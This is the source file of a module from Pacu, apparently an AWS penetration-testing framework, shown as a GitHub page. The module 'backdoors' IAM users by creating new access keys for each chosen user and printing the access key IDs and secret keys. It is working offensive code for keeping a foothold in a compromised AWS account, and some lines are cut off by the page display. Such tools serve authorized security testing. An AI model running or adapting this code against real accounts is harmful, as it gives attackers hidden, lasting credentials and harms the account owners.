pacu / pacu / modules / iam__backdoor_users_keys / main.py

rjulian Reformat and minor linting of backdoor_users_keys (#314) 866376c · 2 years ago

105 lines (87 loc) · 3.98 KB

Code Blame Raw

```
#!/usr/bin/env python3
import argparse
from botocore.exceptions import ClientError


module_info = {
    # Name of the module (should be the same as the filename)
    "name": "iam__backdoor_users_keys",
    # Name and any other notes about the author
    "author": "Spencer Gietzen of Rhino Security Labs based on the idea from https://github.com/dag
    # Category of the module. Make sure the name matches an existing category.
    "category": "PERSIST",
    # One liner description of the module functionality. This shows up when a user searches for moc
    "one_liner": "Adds API keys to other users.",
    # Description about what the module does and how it works
    "description": 'This module attempts to add an AWS API key to users in the account. If all user
    # A list of AWS services that the module utilizes during its execution
    "services": ["IAM"],
    # For prerequisite modules, try and see if any existing modules return the data that is require
    "prerequisite_modules": ["iam__enum_users_roles_policies_groups"],
    # Module arguments to autocomplete when the user hits tab
    "arguments_to_autocomplete": ["--usernames"],
}

parser = argparse.ArgumentParser(add_help=False, description=module_info["description"])

```

```
27      parser.add_argument(
28          "--usernames",
29          required=False,
30          default=None,
31          help="A comma-separated list of usernames of the users in the AWS account to backdoor. If not s
32      )
33
34
35  v   def main(args, pacu_main):
36
37          ###### Don't modify these. They can be removed if you are not using the function.
38          args = parser.parse_args(args)
39          print = pacu_main.print
40          input = pacu_main.input
41          ######
42
43          usernames = gather_usernames(args.usernames, pacu_main)
44          summary_data = {}
45          client = pacu_main.get_boto3_client("iam")
46
47          add_key = ""
48          summary_data["Backdoored_Users_Count"] = 0
49          print("Backdoor the following users?")
50          for username in usernames:
51              if args.usernames is None:
52                  add_key = input(f"  {username} (y/n)? ")
53              else:
54                  print(f"  {username}")
55              if add_key == "y" or args.usernames is not None:
56                  try:
57                      response = client.create_access_key(UserName=username)
58                      print(f"    Access Key ID: {response['AccessKey']['AccessKeyId']}")
59                      print(f"    Secret Key: {response['AccessKey']['SecretAccessKey']}")
60
61                      summary_data["Backdoored_Users_Count"] += 1
62
63                  except ClientError as error:
64                      code = error.response["Error"]["Code"]
65                      if code == "AccessDenied":
66                          print("    FAILURE: MISSING REQUIRED AWS PERMISSIONS")
67                      else:
68                          print(f"    FAILURE: {code}")
69
70          return summary_data
71
72
```

```python
def gather_usernames(usernames_cli_args, pacu_main):
    session = pacu_main.get_active_session()
    print = pacu_main.print
    fetch_data = pacu_main.fetch_data
    usernames = []

    if usernames_cli_args is not None:
        if "," in usernames_cli_args:
            usernames = usernames_cli_args.split(",")
        else:
            usernames = [usernames_cli_args]
    else:
        if (
            fetch_data(
                ["IAM", "Users"], module_info["prerequisite_modules"][0], "--users"
            )
            is False
        ):
            print("FAILURE")
            print("  SUB-MODULE EXECUTION FAILED")

        for user in session.IAM["Users"]:
            usernames.append(user["UserName"])
    return usernames


def summary(data, _pacu_main):
    out = ""
    if "Backdoored_Users_Count" in data:
        out += (
            f"  {data['Backdoored_Users_Count']} user key(s) successfully backdoored.\n"
        )
    return out
```